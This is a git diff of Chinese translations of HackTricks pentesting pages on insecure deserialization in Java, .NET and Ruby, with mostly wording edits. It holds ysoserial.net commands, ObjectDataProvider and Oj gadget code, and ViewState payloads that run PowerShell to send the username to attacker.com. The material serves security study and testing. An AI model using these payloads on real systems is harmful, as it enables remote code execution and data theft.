- **RMI (远程方法调用)**: Java RMI协议完全依赖于序列化,是Java应用程序中远程通信的基石。
|
||||
- **RMI over HTTP**: 这种方法通常被基于Java的厚客户端web应用程序使用,利用序列化进行所有对象通信。
|
||||
- **JMX (Java管理扩展)**: JMX利用序列化在网络上传输对象。
|
||||
- **自定义协议**: 在Java中,标准做法涉及传输原始Java对象,这将在即将到来的漏洞示例中演示。
|
||||
- **自定义协议**: 在Java中,标准做法涉及传输原始Java对象,这将在即将到来的利用示例中演示。
|
||||
|
||||
### Prevention
|
||||
|
||||
#### Transient objects
|
||||
|
||||
一个实现了`Serializable`的类可以将类中任何不应该被序列化的对象实现为`transient`。例如:
|
||||
一个实现了`Serializable`的类可以将类中任何不应该被序列化的对象实现为`transient`。例如:
|
||||
```java
|
||||
public class myAccount implements Serializable
|
||||
{
|
||||
@ -520,7 +520,7 @@ throw new java.io.IOException("Cannot be deserialized");
|
||||
```
|
||||
#### **增强 Java 中的反序列化安全性**
|
||||
|
||||
**自定义 `java.io.ObjectInputStream`** 是保护反序列化过程的实用方法。当满足以下条件时,此方法适用:
|
||||
**自定义 `java.io.ObjectInputStream`** 是确保反序列化过程安全的实用方法。当满足以下条件时,此方法适用:
|
||||
|
||||
- 反序列化代码在您的控制之下。
|
||||
- 预期反序列化的类是已知的。
|
||||
@ -546,7 +546,7 @@ return super.resolveClass(desc);
|
||||
}
|
||||
}
|
||||
```
|
||||
**使用 Java Agent 增强安全性** 提供了一种在无法修改代码时的备用解决方案。此方法主要适用于 **黑名单有害类**,使用 JVM 参数:
|
||||
**使用 Java Agent 进行安全增强** 提供了一种在无法修改代码时的备用解决方案。此方法主要适用于 **黑名单有害类**,使用 JVM 参数:
|
||||
```
|
||||
-javaagent:name-of-agent.jar
|
||||
```
|
||||
@ -610,12 +610,12 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
|
||||
|
||||
### 利用
|
||||
|
||||
所以,基本上有很多 **以危险方式使用 JMS 的服务**。因此,如果您有 **足够的权限** 向这些服务发送消息(通常您需要有效的凭据),您可能能够发送 **将被消费者/订阅者反序列化的恶意序列化对象**。\
|
||||
这意味着在此利用中,所有 **将使用该消息的客户端都会被感染**。
|
||||
所以,基本上有一 **堆服务以危险的方式使用 JMS**。因此,如果您有 **足够的权限** 向这些服务发送消息(通常您需要有效的凭据),您可能能够发送 **恶意对象序列化,这些对象将被消费者/订阅者反序列化**。\
|
||||
这意味着在此利用中,所有 **将使用该消息的客户端将被感染**。
|
||||
|
||||
您应该记住,即使服务存在漏洞(因为它不安全地反序列化用户输入),您仍然需要找到有效的 gadget 来利用该漏洞。
|
||||
|
||||
工具 [JMET](https://github.com/matthiaskaiser/jmet) 被创建用于 **连接和攻击这些服务,发送多个使用已知 gadget 的恶意序列化对象**。这些利用将在服务仍然存在漏洞且所使用的任何 gadget 在易受攻击的应用程序中时有效。
|
||||
工具 [JMET](https://github.com/matthiaskaiser/jmet) 被创建用于 **连接和攻击这些服务,发送多个使用已知 gadget 的恶意对象序列化**。这些利用将在服务仍然存在漏洞且所使用的任何 gadget 在易受攻击的应用程序中时有效。
|
||||
|
||||
### 参考文献
|
||||
|
||||
@ -639,7 +639,7 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
|
||||
|
||||
#### 黑盒
|
||||
|
||||
搜索应针对 Base64 编码字符串 **AAEAAAD/////** 或任何类似模式,这可能会在服务器端进行反序列化,从而控制要反序列化的类型。这可能包括但不限于包含 `TypeObject` 或 `$type` 的 **JSON** 或 **XML** 结构。
|
||||
搜索应针对 Base64 编码字符串 **AAEAAAD/////** 或任何可能在服务器端进行反序列化的类似模式,从而控制要反序列化的类型。这可能包括但不限于包含 `TypeObject` 或 `$type` 的 **JSON** 或 **XML** 结构。
|
||||
|
||||
### ysoserial.net
|
||||
|
||||
@ -651,7 +651,7 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
|
||||
|
||||
- **`--gadget`** 用于指示要滥用的 gadget(指示在反序列化期间将被滥用以执行命令的类/函数)。
|
||||
- **`--formatter`**,用于指示序列化利用的方法(您需要知道后端使用哪个库来反序列化有效负载,并使用相同的库进行序列化)
|
||||
- **`--output`** 用于指示您是否希望以 **raw** 或 **base64** 编码的形式获得利用。_请注意,**ysoserial.net** 将使用 **UTF-16LE** 编码有效负载(Windows 默认使用的编码),因此如果您从 Linux 控制台获取原始数据并仅对其进行编码,可能会遇到一些 **编码兼容性问题**,这将导致利用无法正常工作(在 HTB JSON 框中,有效负载在 UTF-16LE 和 ASCII 中均有效,但这并不意味着它总是有效)。_
|
||||
- **`--output`** 用于指示您是否希望以 **raw** 或 **base64** 编码的形式获得利用。_请注意,**ysoserial.net** 将使用 **UTF-16LE** 编码(Windows 默认使用的编码)对有效负载进行 **编码**,因此如果您从 Linux 控制台获取原始数据并仅对其进行编码,您可能会遇到一些 **编码兼容性问题**,这将导致利用无法正常工作(在 HTB JSON 框中,有效负载在 UTF-16LE 和 ASCII 中均有效,但这并不意味着它总是有效)。_
|
||||
- **`--plugin`** ysoserial.net 支持插件以制作 **特定框架的利用**,如 ViewState
|
||||
|
||||
#### 更多 ysoserial.net 参数
|
||||
@ -660,7 +660,7 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
|
||||
- `--raf -f Json.Net -c "anything"` 这将指示可以与提供的格式化程序(在这种情况下为 `Json.Net`)一起使用的所有 gadget
|
||||
- `--sf xml` 您可以 **指示一个 gadget**(`-g`),ysoserial.net 将搜索包含 "xml" 的格式化程序(不区分大小写)
|
||||
|
||||
**ysoserial 示例** 用于创建利用:
|
||||
**ysoserial 示例** 创建利用:
|
||||
```bash
|
||||
#Send ping
|
||||
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64
|
||||
@ -680,7 +680,7 @@ ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand S
|
||||
```
|
||||
**ysoserial.net** 还有一个 **非常有趣的参数**,可以更好地理解每个漏洞是如何工作的: `--test`\
|
||||
如果您指明此参数,**ysoserial.net** 将 **尝试** 在 **本地利用漏洞,** 这样您可以测试您的有效载荷是否能正常工作。\
|
||||
这个参数很有帮助,因为如果您查看代码,您会发现像以下这样的代码块(来自 [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)):
|
||||
这个参数很有帮助,因为如果您查看代码,您会发现类似以下的代码块(来自 [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)):
|
||||
```java
|
||||
if (inputArgs.Test)
|
||||
{
|
||||
@ -706,7 +706,7 @@ return obj;
|
||||
}
|
||||
```
|
||||
在**之前的代码易受创建的漏洞影响**。因此,如果您在 .Net 应用程序中发现类似的内容,这意味着该应用程序可能也存在漏洞。\
|
||||
因此,**`--test`** 参数使我们能够理解**哪些代码块易受** **ysoserial.net** 可以创建的反序列化漏洞影响。
|
||||
因此,**`--test`** 参数使我们能够了解**哪些代码块易受反序列化漏洞的影响**,该漏洞**ysoserial.net**可以创建。
|
||||
|
||||
### ViewState
|
||||
|
||||
@ -735,7 +735,7 @@ return obj;
|
||||
|
||||
## **Ruby**
|
||||
|
||||
在 Ruby 中,序列化通过 **marshal** 库中的两个方法来实现。第一个方法称为 **dump**,用于将对象转换为字节流。这个过程称为序列化。相反,第二个方法 **load** 用于将字节流还原为对象,这个过程称为反序列化。
|
||||
在 Ruby 中,序列化通过**marshal**库中的两种方法实现。第一种方法称为**dump**,用于将对象转换为字节流。这个过程称为序列化。相反,第二种方法**load**用于将字节流还原为对象,这个过程称为反序列化。
|
||||
|
||||
为了保护序列化对象,**Ruby 使用 HMAC(基于哈希的消息认证码)**,确保数据的完整性和真实性。用于此目的的密钥存储在几个可能的位置之一:
|
||||
|
||||
@ -819,7 +819,7 @@ puts Base64.encode64(payload)
|
||||
|
||||
### Ruby .send() 方法
|
||||
|
||||
正如在 [**此漏洞报告**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/) 中所解释的,如果某些用户未经过滤的输入到达 ruby 对象的 `.send()` 方法,该方法允许 **调用对象的任何其他方法**,并使用任何参数。
|
||||
正如在 [**此漏洞报告**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/) 中所解释的,如果某些用户未经过滤的输入到达 ruby 对象的 `.send()` 方法,该方法允许 **调用对象的任何其他方法**,并传递任何参数。
|
||||
|
||||
例如,调用 eval 然后将 ruby 代码作为第二个参数将允许执行任意代码:
|
||||
```ruby
|
||||
@ -854,17 +854,17 @@ candidate_methods.length() # Final number of methods=> 3595
|
||||
|
||||
### Ruby _json 污染
|
||||
|
||||
当发送一些不可哈希的值如数组时,它们将被添加到一个名为 `_json` 的新键中。然而,攻击者也可以在请求体中设置一个名为 `_json` 的值,包含他希望的任意值。然后,如果后端例如检查一个参数的真实性,但又使用 `_json` 参数执行某些操作,则可能会发生授权绕过。
|
||||
当发送一个包含一些不可哈希值(如数组)的主体时,它们将被添加到一个名为 `_json` 的新键中。然而,攻击者也可以在主体中设置一个名为 `_json` 的值,包含他希望的任意值。然后,如果后端例如检查一个参数的真实性,但又使用 `_json` 参数执行某些操作,则可能会发生授权绕过。
|
||||
|
||||
在 [Ruby _json 污染页面](ruby-_json-pollution.md) 中查看更多信息。
|
||||
|
||||
### 其他库
|
||||
|
||||
此技术取自 [**这篇博客文章**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared)。
|
||||
此技术取自[ **这篇博客文章**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared)。
|
||||
|
||||
还有其他 Ruby 库可以用来序列化对象,因此可以被滥用以在不安全的反序列化期间获得 RCE。下表显示了一些这些库及其在反序列化时调用的加载库中的方法(基本上是滥用以获得 RCE 的函数):
|
||||
|
||||
<table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>库</strong></td><td><strong>输入数据</strong></td><td><strong>类内部启动方法</strong></td></tr><tr><td>Marshal (Ruby)</td><td>二进制</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code> (类需要作为键放入哈希(映射)中)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code> (类需要作为键放入哈希(映射)中)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code> (类需要作为键放入哈希(映射)中)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code> ([查看关于 json_create 的注释在末尾](#table-vulnerable-sinks))</td></tr></tbody></table>
|
||||
<table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>库</strong></td><td><strong>输入数据</strong></td><td><strong>类内部启动方法</strong></td></tr><tr><td>Marshal (Ruby)</td><td>二进制</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code>(类需要作为键放入哈希(映射)中)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code>(类需要作为键放入哈希(映射)中)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code>(类需要作为键放入哈希(映射)中)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code>([查看关于 json_create 的注释](#table-vulnerable-sinks))</td></tr></tbody></table>
|
||||
|
||||
基本示例:
|
||||
```ruby
|
||||
@ -888,7 +888,7 @@ puts json_payload
|
||||
# Sink vulnerable inside the code accepting user input as json_payload
|
||||
Oj.load(json_payload)
|
||||
```
|
||||
在尝试滥用 Oj 的情况下,可以找到一个小工具类,它在其 `hash` 函数内部会调用 `to_s`,这将调用 spec,进而调用 fetch_path,这使得它能够获取一个随机 URL,从而很好地检测这些未清理的反序列化漏洞。
|
||||
在尝试滥用 Oj 的情况下,可以找到一个小工具类,它在其 `hash` 函数内部会调用 `to_s`,而 `to_s` 会调用 spec,进而调用 fetch_path,这使得它能够获取一个随机 URL,从而很好地检测这些未清理的反序列化漏洞。
|
||||
```json
|
||||
{
|
||||
"^o": "URI::HTTP",
|
||||
|
||||
@ -2,12 +2,12 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
这篇文章致力于**理解如何利用 ObjectDataProvider 小工具**来获得 RCE,以及**如何**利用序列化库**Json.Net 和 xmlSerializer**与该小工具进行滥用。
|
||||
本文旨在**理解如何利用 ObjectDataProvider 小工具**来获得 RCE,以及**如何**利用序列化库**Json.Net 和 xmlSerializer**与该小工具进行滥用。
|
||||
|
||||
## ObjectDataProvider 小工具
|
||||
|
||||
根据文档:_ObjectDataProvider 类包装并创建一个可以用作绑定源的对象。_\
|
||||
是的,这个解释很奇怪,所以让我们看看这个类有什么有趣的地方:这个类允许**包装任意对象**,使用_**MethodParameters**_来**设置任意参数,**然后**使用 MethodName 调用使用任意参数声明的任意对象的任意函数。\
|
||||
是的,这个解释有点奇怪,让我们看看这个类有什么有趣的地方:这个类允许**包装任意对象**,使用_**MethodParameters**_来**设置任意参数,**然后**使用 MethodName 调用使用任意参数声明的任意对象的任意函数。\
|
||||
因此,任意**对象**将在**反序列化**时**执行**一个带有**参数**的**函数**。
|
||||
|
||||
### **这怎么可能**
|
||||
@ -52,14 +52,14 @@ myODP.MethodName = "Start";
|
||||
}
|
||||
}
|
||||
```
|
||||
注意,您需要添加作为引用的 _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ 以加载 `System.Windows.Data`
|
||||
注意,您需要添加作为引用 _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ 以加载 `System.Windows.Data`
|
||||
|
||||
## ExpandedWrapper
|
||||
|
||||
使用之前的漏洞,将会有一些情况,其中 **对象** 将被 **反序列化为** 一个 _**ObjectDataProvider**_ 实例(例如在 DotNetNuke 漏洞中,使用 XmlSerializer,对象是通过 `GetType` 反序列化的)。然后,将对 _ObjectDataProvider_ 实例中所包装的 **对象类型没有任何了解**(例如 `Process`)。您可以在这里找到更多关于 DotNetNuke 漏洞的 [信息](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1)。
|
||||
使用之前的漏洞,将会有一些情况,其中 **对象** 将被 **反序列化为** 一个 _**ObjectDataProvider**_ 实例(例如在 DotNetNuke 漏洞中,使用 XmlSerializer,对象是通过 `GetType` 反序列化的)。然后,将对 _ObjectDataProvider_ 实例中封装的 **对象类型没有任何了解**(例如 `Process`)。您可以在这里找到更多关于 DotNetNuke 漏洞的 [信息](https://translate.google.com/translate?hl=en&sl=auto&tl=en&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F&sandbox=1)。
|
||||
|
||||
这个类允许 **指定封装在给定实例中的对象的类型**。因此,这个类可以用来将源对象 (_ObjectDataProvider_) 封装到一个新的对象类型中,并提供我们需要的属性 (_ObjectDataProvider.MethodName_ 和 _ObjectDataProvider.MethodParameters_)。\
|
||||
这对于之前提出的情况非常有用,因为我们将能够 **将 \_ObjectDataProvider**_\*\* 包装在一个 \*\*_**ExpandedWrapper** \_ 实例中,并且 **在反序列化时** 这个类将 **创建** _**OjectDataProvider**_ 对象,该对象将 **执行** 在 _**MethodName**_ 中指示的 **函数**。
|
||||
这个类允许 **指定封装在给定实例中的对象类型**。因此,这个类可以用来将源对象 (_ObjectDataProvider_) 封装到一个新的对象类型中,并提供我们需要的属性 (_ObjectDataProvider.MethodName_ 和 _ObjectDataProvider.MethodParameters_)。\
|
||||
这在之前提到的情况中非常有用,因为我们将能够 **将 \_ObjectDataProvider**_\*\* 包装在一个 \*\*_**ExpandedWrapper** \_ 实例中,并且 **在反序列化时** 这个类将 **创建** _**OjectDataProvider**_ 对象,该对象将 **执行** 在 _**MethodName**_ 中指示的 **函数**。
|
||||
|
||||
您可以使用以下代码检查这个包装器:
|
||||
```java
|
||||
@ -85,11 +85,11 @@ myExpWrap.ProjectedProperty0.MethodName = "Start";
|
||||
```
|
||||
## Json.Net
|
||||
|
||||
在[官方网站](https://www.newtonsoft.com/json)上指出,这个库允许**使用Json.NET强大的JSON序列化器序列化和反序列化任何.NET对象**。因此,如果我们能够**反序列化ObjectDataProvider小工具**,我们可以仅通过反序列化一个对象来导致**RCE**。
|
||||
在[官方网站](https://www.newtonsoft.com/json)上指出,该库允许**使用Json.NET强大的JSON序列化程序序列化和反序列化任何.NET对象**。因此,如果我们能够**反序列化ObjectDataProvider小工具**,我们可以仅通过反序列化一个对象来导致**RCE**。
|
||||
|
||||
### Json.Net示例
|
||||
|
||||
首先,让我们看一个如何使用这个库**序列化/反序列化**对象的示例:
|
||||
首先,让我们看一个如何使用该库**序列化/反序列化**对象的示例:
|
||||
```java
|
||||
using System;
|
||||
using Newtonsoft.Json;
|
||||
|
||||
@ -7,7 +7,7 @@
|
||||
Java `Serializable` 接口(`java.io.Serializable` 是一个标记接口,您的类必须实现它才能被 **序列化** 和 **反序列化**。Java 对象序列化(写入)是通过 [ObjectOutputStream](http://tutorials.jenkov.com/java-io/objectoutputstream.html) 完成的,反序列化(读取)是通过 [ObjectInputStream](http://tutorials.jenkov.com/java-io/objectinputstream.html) 完成的。
|
||||
|
||||
让我们看一个 **可序列化的类 Person** 的示例。这个类 **重写了 readObject** 函数,因此当 **这个类的任何对象** 被 **反序列化** 时,这个 **函数** 将被 **执行**。\
|
||||
在这个示例中,Person 类的 **readObject 函数** 调用了它的宠物的 `eat()` 函数,而 Dog 的 `eat()` 函数(出于某种原因)调用了 **calc.exe**。 **我们将看到如何序列化和反序列化一个 Person 对象以执行这个计算器:**
|
||||
在这个示例中,类 Person 的 **readObject 函数** 调用了它的宠物的 `eat()` 函数,而 Dog 的 `eat()` 函数(出于某种原因)调用了 **calc.exe**。 **我们将看到如何序列化和反序列化一个 Person 对象以执行这个计算器:**
|
||||
|
||||
**以下示例来自 [https://medium.com/@knownsec404team/java-deserialization-tool-gadgetinspector-first-glimpse-74e99e493649](https://medium.com/@knownsec404team/java-deserialization-tool-gadgetinspector-first-glimpse-74e99e493649)**
|
||||
```java
|
||||
|
||||
@ -17,12 +17,12 @@ ViewState 信息可以通过以下属性或其组合来表征:
|
||||
|
||||
## 测试用例
|
||||
|
||||
该图像是一个表,详细说明了基于 .NET 框架版本的 ASP.NET 中 ViewState 的不同配置。以下是内容的摘要:
|
||||
该图像是一个表,详细说明了基于 .NET 框架版本的 ASP.NET 中 ViewState 的不同配置。以下是内容摘要:
|
||||
|
||||
1. 对于 **任何版本的 .NET**,当 MAC 和加密都被禁用时,不需要 MachineKey,因此没有适用的方法来识别它。
|
||||
2. 对于 **4.5 版本以下**,如果启用了 MAC 但未启用加密,则需要 MachineKey。识别 MachineKey 的方法称为 "Blacklist3r"。
|
||||
3. 对于 **4.5 版本以下**,无论 MAC 是否启用,如果启用了加密,则需要 MachineKey。识别 MachineKey 是 "Blacklist3r - Future Development" 的任务。
|
||||
4. 对于 **4.5 版本及以上**,所有 MAC 和加密的组合(无论两者都为 true,还是一个为 true 另一个为 false)都需要 MachineKey。可以使用 "Blacklist3r" 来识别 MachineKey。
|
||||
4. 对于 **4.5 版本及以上**,所有 MAC 和加密的组合(无论两者都为 true,还是一个为 true 另一个为 false)都需要 MachineKey。可以使用 "Blacklist3r" 识别 MachineKey。
|
||||
|
||||
### 测试用例:1 – EnableViewStateMac=false 和 viewStateEncryptionMode=false
|
||||
|
||||
@ -44,7 +44,7 @@ ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "power
|
||||
|
||||
### Test Case: 2 – .Net < 4.5 and EnableViewStateMac=true & ViewStateEncryptionMode=false
|
||||
|
||||
为了**为特定页面启用 ViewState MAC**,我们需要在特定的 aspx 文件中进行以下更改:
|
||||
为了**启用 ViewState MAC**,我们需要对特定的 aspx 文件进行以下更改:
|
||||
```bash
|
||||
<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>
|
||||
```
|
||||
@ -92,7 +92,7 @@ bbot -f subdomain-enum -m badsecrets -t evil.corp
|
||||
```
|
||||

|
||||
|
||||
如果你运气好并且找到了密钥,你可以使用 [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)**:
|
||||
如果你运气好并且找到了密钥,你可以使用 [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)**:**
|
||||
```
|
||||
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
|
||||
|
||||
@ -104,19 +104,19 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Inv
|
||||
```
|
||||
### 测试用例:3 – .Net < 4.5 和 EnableViewStateMac=true/false 和 ViewStateEncryptionMode=true
|
||||
|
||||
在这种情况下,不知道参数是否受到 MAC 保护。因此,值可能是加密的,您将**需要机器密钥来加密您的有效负载**以利用该漏洞。
|
||||
在这种情况下,不知道该参数是否受到MAC保护。因此,值可能被加密,您将**需要机器密钥来加密您的有效负载**以利用该漏洞。
|
||||
|
||||
**在这种情况下,** [**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **模块正在开发中...**
|
||||
|
||||
**在 .NET 4.5 之前,** ASP.NET 可以**接受**来自用户的**未加密** \_`__VIEWSTATE`\_ 参数,即使**`ViewStateEncryptionMode`** 已设置为 _**始终**_。ASP.NET **仅检查**请求中**`__VIEWSTATEENCRYPTED`** 参数的**存在**。**如果删除此参数并发送未加密的有效负载,它仍然会被处理。**
|
||||
**在 .NET 4.5 之前,** ASP.NET 可以**接受**来自用户的**未加密** \_`__VIEWSTATE`\_ 参数,即使**`ViewStateEncryptionMode`**已设置为_**始终**_。ASP.NET **仅检查**请求中**`__VIEWSTATEENCRYPTED`**参数的**存在**。**如果删除此参数并发送未加密的有效负载,它仍然会被处理。**
|
||||
|
||||
因此,如果攻击者通过其他漏洞(如文件遍历)找到获取机器密钥的方法,可以使用在**案例 2**中使用的 [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) 命令,通过 ViewState 反序列化漏洞执行 RCE。
|
||||
因此,如果攻击者通过其他漏洞(如文件遍历)找到获取机器密钥的方法,可以使用**案例 2**中使用的[**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)命令,通过ViewState反序列化漏洞执行RCE。
|
||||
|
||||
- 从请求中删除 `__VIEWSTATEENCRYPTED` 参数,以利用 ViewState 反序列化漏洞,否则将返回 Viewstate MAC 验证错误,利用将失败。
|
||||
- 从请求中删除`__VIEWSTATEENCRYPTED`参数,以利用ViewState反序列化漏洞,否则将返回Viewstate MAC验证错误,利用将失败。
|
||||
|
||||
### 测试用例:4 – .Net >= 4.5 和 EnableViewStateMac=true/false 和 ViewStateEncryptionMode=true/false,除了两个属性为 false
|
||||
### 测试用例:4 – .Net >= 4.5 和 EnableViewStateMac=true/false 和 ViewStateEncryptionMode=true/false,除非两个属性都为false
|
||||
|
||||
我们可以通过在 web.config 文件中指定以下参数来强制使用 ASP.NET 框架,如下所示。
|
||||
我们可以通过在web.config文件中指定以下参数来强制使用ASP.NET框架,如下所示。
|
||||
```xml
|
||||
<httpRuntime targetFramework="4.5" />
|
||||
```
|
||||
@ -126,7 +126,7 @@ compatibilityMode="Framework45"
|
||||
```
|
||||
如前所述,**值是加密的。** 然后,要发送**有效的有效负载,攻击者需要密钥**。
|
||||
|
||||
您可以尝试使用 [**Blacklist3r(AspDotNetWrapper.exe)** ](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper)来查找正在使用的密钥:
|
||||
您可以尝试使用 [**Blacklist3r(AspDotNetWrapper.exe)** ](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) 来查找正在使用的密钥:
|
||||
```
|
||||
AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47LwhBs1fyLvTQu6BktfcwTicOfagaKXho90yGLlA0HrdGOH6x/SUsjRGY0CCpvgM2uR3ba1s6humGhHFyr/gz+EP0fbrlBEAFOrq5S8vMknE/ZQ/8NNyWLwg== --decrypt --purpose=viewstate --valalgo=sha1 --decalgo=aes --IISDirPath "/" --TargetPagePath "/Content/default.aspx"
|
||||
|
||||
@ -151,7 +151,7 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe In
|
||||
|
||||

|
||||
|
||||
成功利用 ViewState 反序列化漏洞将导致向攻击者控制的服务器发出带有用户名的带外请求。这种利用方式在一个概念验证(PoC)中得到了演示,该 PoC 可以通过名为 "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET" 的资源找到。有关利用过程如何工作的更多细节,以及如何使用像 Blacklist3r 这样的工具来识别 MachineKey,您可以查看提供的 [PoC of Successful Exploitation](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC)。
|
||||
成功利用 ViewState 反序列化漏洞将导致向攻击者控制的服务器发出带有用户名的出带请求。这种利用方式在一个概念验证(PoC)中得到了展示,该 PoC 可以通过名为 "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET" 的资源找到。有关利用过程如何工作的更多详细信息,以及如何使用像 Blacklist3r 这样的工具来识别 MachineKey,您可以查看提供的 [PoC of Successful Exploitation](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC)。
|
||||
|
||||
### 测试用例 6 – 使用 ViewStateUserKeys
|
||||
|
||||
@ -162,9 +162,9 @@ ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe In
|
||||
```
|
||||
### 成功利用的结果 <a href="#poc" id="poc"></a>
|
||||
|
||||
对于所有测试用例,如果 ViewState YSoSerial.Net 有效载荷 **成功** 工作,则服务器响应“**500 内部服务器错误**”,响应内容为“**此页面的状态信息无效,可能已损坏**”,并且我们获得 OOB 请求。
|
||||
对于所有测试用例,如果 ViewState YSoSerial.Net 有效负载 **成功** 工作,则服务器响应“**500 内部服务器错误**”,响应内容为“**此页面的状态信息无效,可能已损坏**”,并且我们获得 OOB 请求。
|
||||
|
||||
查看 [进一步的信息在这里](<https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/deserialization/[**https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)/README.md>)
|
||||
查看 [进一步信息这里](<https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/deserialization/[**https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)/README.md>)
|
||||
|
||||
## 参考文献
|
||||
|
||||
|
||||
@ -55,11 +55,11 @@ InetAddress addr = getHostAddress(u);
|
||||
```
|
||||
您可以看到对域名执行了 `getHostAddress`,**发起了 DNS 查询**。
|
||||
|
||||
因此,这个类可以被**滥用**以**发起**一个**DNS 查询**,以**演示****反序列化**是可能的,甚至可以**外泄信息**(您可以将命令执行的输出作为子域名附加)。
|
||||
因此,这个类可以被**滥用**以**发起**一个**DNS 查询**来**证明****反序列化**是可能的,甚至可以**外泄信息**(您可以将命令执行的输出作为子域名附加)。
|
||||
|
||||
### URLDNS 负载代码示例
|
||||
|
||||
您可以在 [URDNS 负载代码来自 ysoserial 这里](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java)。但是,为了更容易理解如何编码,我创建了我自己的 PoC(基于 ysoserial 的那个):
|
||||
您可以在 [URDNS 负载代码来自 ysoserial 这里](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java)。但是,为了更容易理解如何编码,我创建了自己的 PoC(基于 ysoserial 的那个):
|
||||
```java
|
||||
import java.io.File;
|
||||
import java.io.FileInputStream;
|
||||
@ -125,7 +125,7 @@ return null;
|
||||
### 更多信息
|
||||
|
||||
- [https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/](https://blog.paranoidsoftware.com/triggering-a-dns-lookup-using-java-deserialization/)
|
||||
- 在最初的想法中,commons collections 负载被更改为执行 DNS 查询,这比提议的方法不太可靠,但这是文章:[https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/](https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/)
|
||||
- 在最初的想法中,commons collections 负载被更改为执行 DNS 查询,这比提议的方法不太可靠,但这是帖子:[https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/](https://www.gosecure.net/blog/2017/03/22/detecting-deserialization-bugs-with-dns-exfiltration/)
|
||||
|
||||
## GadgetProbe
|
||||
|
||||
@ -148,11 +148,11 @@ return null;
|
||||
## Java 反序列化扫描仪
|
||||
|
||||
此扫描仪可以从 Burp 应用商店(**Extender**)**下载**。\
|
||||
该 **扩展** 具有 **被动** 和主动 **功能**。
|
